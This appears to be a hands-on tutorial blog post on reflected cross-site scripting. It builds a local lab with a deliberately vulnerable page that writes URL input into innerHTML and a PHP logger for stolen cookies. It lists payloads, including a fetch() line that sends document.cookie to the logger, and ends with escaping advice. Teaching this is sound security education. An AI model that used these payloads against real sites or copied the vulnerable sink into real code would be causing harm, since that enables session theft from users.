Reflected XSS: Explained with Real Examples
πΎ Reflected XSS β Real-World Lab
Letβs dive into Reflected Cross-Site Scripting (XSS), a client-side vulnerability used by attackers to execute malicious code in a victimβs browser. This lab simulates real scenarios, built for hands-on learning.
π¨ What is Reflected XSS?
Reflected XSS happens when data from a request (URL, form, etc.) is immediately echoed in the response without validation or sanitization.
π οΈ Example:
1
http://victim-site.com/page?q=<script>alert(1)</script>
If the app outputs q
without filtering, the script runs in the browser.
π― Lab Goals
- See how user input reflects in HTML
- Inject XSS payloads manually
- Steal cookies with
fetch()
to a PHP logger - Confirm captured cookies in terminal
π§± Lab Structure
1
2
3
4
5
xss-lab/
βββ xss-lab.html # The vulnerable page
βββ steal.php # Attacker's logger
βββ requests.log # Log of stolen cookies
βββ cookie.txt # Simulated browser cookie file
π§ Lab Code
xss-lab.html
1
2
3
4
5
6
7
8
9
10
11
12
13
<!DOCTYPE html>
<html>
<head><title>XSS Lab</title></head>
<body>
<h2>Reflected XSS Demo</h2>
<div id="output"></div>
<script>
const q = new URLSearchParams(location.search).get('q');
document.getElementById('output').innerHTML = q;
</script>
</body>
</html>
steal.php
1
2
3
<?php
file_put_contents("requests.log", print_r($_GET, true) . "\n", FILE_APPEND);
?>
π Run the Lab Locally
- Start a local PHP server:
1
php -S localhost:8080
- Set a fake cookie in your browser (DevTools Console):
1
document.cookie = "session_id=hello_mazal";
- Trigger the attack:
1
http://localhost:8080/xss-lab.html?q=<script>fetch('http://localhost:8080/steal.php?c='+document.cookie)</script>
- Check logs:
1
cat requests.log
π‘ Test Inputs to Play With
Add these for form-based XSS:
1
2
3
<input type="text" placeholder="Search...">
<textarea placeholder="Write a comment..."></textarea>
<input type="file" accept="image/*">
βοΈ Payload Examples
- Classic alert box:
1
<script>alert("XSS")</script>
- Cookie theft:
1
<script>fetch('http://localhost:8080/steal.php?c=' + document.cookie)</script>
- Image-based execution:
1
<img src=x onerror="alert('XSS')">
- On-hover trigger:
1
<b onmouseover="alert('XSS')">Hover me</b>
- Script via eval (dangerous if used):
1
"><script>eval('alert(1)')</script>
π§ͺ Testing Tips
β
Test in the browser by entering payloads in the URL:
http://localhost:8080/xss-lab.html?q=<script>alert(1)</script>
β Or manually trigger fetch from DevTools:
1
fetch("http://localhost:8080/steal.php?c=" + document.cookie)
π Validating & Sanitizing Inputs
- Validate input against expected patterns (e.g., regex for email)
- Sanitize output by escaping characters like
<
,>
,"
,'
Example (PHP):
1
echo htmlspecialchars($_GET['q'], ENT_QUOTES, 'UTF-8');
π Final Thoughts
Reflected XSS is fast and dangerous. In real-world bug bounties, itβs still common due to poor input handling.
β
Always sanitize before rendering
β
Test every input and reflected output
β
Use browser DevTools and manual payloads for testing
Stay curious, break safely, and document everything.
~ Maz4l π€Ί
More hacks, more notes, more wins.